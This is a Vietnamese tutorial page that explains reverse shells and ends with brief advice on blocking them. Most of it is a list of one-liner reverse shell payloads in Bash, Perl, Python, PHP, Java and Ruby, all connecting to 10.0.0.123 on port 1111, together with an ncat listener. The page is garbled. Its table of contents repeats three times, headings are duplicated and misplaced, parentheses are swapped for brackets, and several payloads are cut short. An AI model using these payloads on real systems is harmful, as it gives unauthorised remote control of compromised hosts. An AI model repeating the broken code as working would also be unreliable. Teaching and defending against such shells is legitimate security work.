Reverse shell là gì ?
Reverse shell là 1 loại session shell [ngoài ra còn có web shell, bind shell,.. ] là shell có kết nối bắt nguồn từ 1 máy chủ đóng vai trò là target đến 1 máy chủ khác đóng vai trò host . Khi đó target sẽ tạo kết nối ra bên ngoài và host sẽ lắng nghe. Trong trường hợp Attacker mà đã khai thác được lỗ hổng có thể dẫn đến RCE có thể dùng Reverse shell để tạo kết nối đến máy attacker để hacker thao tác với máy target. Một Reverse shell [hay còn gọi connect-back shell] cũng có thể là cách duy nhất để để thao tác remote thông qua shell mà không gặp vấn đề với NAT hoặc firewall.
Nội dung chính
- Reverse shell là gì ?
- Reverse shell hoạt động như thế nào ?
- Ví dụ về Reverse shell
- Bash Reverse shell
- Perl Reverse shell
- Python reverse shell
- PHP reverse shell
- Java Reverse Shell
- Ruby Reverse Shell
- Ngăn chặn reverse shell
Nội dung chính
- Reverse shell là gì ?
- Reverse shell hoạt động như thế nào ?
- Ví dụ về Reverse shell
- Bash Reverse shell
- Perl Reverse shell
- Python reverse shell
- PHP reverse shell
- Java Reverse Shell
- Ruby Reverse Shell
- Ngăn chặn reverse shell
Nội dung chính
- Reverse shell là gì ?
- Reverse shell hoạt động như thế nào ?
- Ví dụ về Reverse shell
- Bash Reverse shell
- Perl Reverse shell
- Python reverse shell
- PHP reverse shell
- Java Reverse Shell
- Ruby Reverse Shell
- Ngăn chặn reverse shell
Reverse shell hoạt động như thế nào ?
Ví dụ về Reverse shell
Bash Reverse shell
Perl Reverse shell
Ví dụ về Reverse shell
Bash Reverse shell
ncat -l -p 1111
Perl Reverse shell
Bash Reverse shell
Perl Reverse shell
/bin/bash -i >& /dev/tcp/10.0.0.123/1111 0>&1
Perl Reverse shell
Python reverse shell
perl -e 'use Socket;$i="10.0.0.123";$p=1111;socket[S,PF_INET,SOCK_STREAM,getprotobyname["tcp"]];if[connect[S,sockaddr_in[$p,inet_aton[$i]]]]{open[STDIN,">&S"];open[STDOUT,">&S"];open[STDERR,">&S"];exec["/bin/sh -i"];};'
Python reverse shell
PHP reverse shell
python -c 'import socket,subprocess,os;s=socket.socket[socket.AF_INET,socket.SOCK_STREAM];s.connect[["10.0.0.123",1111]];os.dup2[s.fileno[],0]; os.dup2[s.fileno[],1]; os.dup2[s.fileno[],2];p=subprocess.call[["/bin/sh","-i"]];'
PHP reverse shell
Java Reverse Shell
php -r '$sock=fsockopen["10.0.0.123",1111];exec["/bin/sh -i &3 2>&3"];
Java Reverse Shell
Ruby Reverse Shell
r = Runtime.getRuntime[]
p = r.exec[["/bin/bash","-c","exec 5/dev/tcp/10.0.0.123/1111;cat &5 >&5; done"] as String[]]
p.waitFor[]
Ruby Reverse Shell
Ngăn chặn reverse shell
ruby -rsocket -e'f=TCPSocket.open["10.0.0.123",1111].to_i;exec sprintf["/bin/sh -i &%d 2>&%d",f,f,f]'
Ngăn chặn reverse shell
Như bình thường, để có thể tạo ra remote shell để remote từ xa, máy tính của attacker kết nối tới một máy chủ target và yêu cầu một shell session - đây gọi là bind shell. Nhưng có 1 vấn đề có thể xảy ra là nếu máy chủ kia không thể truy cập trực tiếp , ví dụ là có thể không có public IP hoặc được bảo vệ với Firewall thì sao? Trong trường hợp này, Reverse shell cần được sử dụng, khi mà target có một kết nối ra bên ngoài để host lắng nghe các kết nối đến và tạo nên shell session.
- Để hạn chế khai thác, bạn có thể khóa kết nối ra ngoài và chỉ cho phép các địa chỉ IP và cổng cụ thể hoạt động cho các dịch vụ được yêu cầu. Điều này có thể đạt được bằng cách dùng sandbox hoặc chạy máy chủ trong một môi trường cô lập. Một cách khác có thể là thiết lập một máy chủ proxy quản lí chặt các điểm đến. Tuy nhiên, các reverse shell cũng có thể được tạo ngay cả trên DNS cho nên việc làm như vậy chỉ có thể hạn chế rủi ro của các kết nối reverseshell chứ không loại bỏ được.
- Ngoài ra cũng có thể khiến cho việc tấn công cảu attacker khó hơn là xóa tất cả các tools và interpreter để ngăn chặn sự thực thi của 1 số shell code. Nhưng đây cũng không làm thay đổi lắm vì có thể attacker vẫn có thể tìm và cài các shell khác lên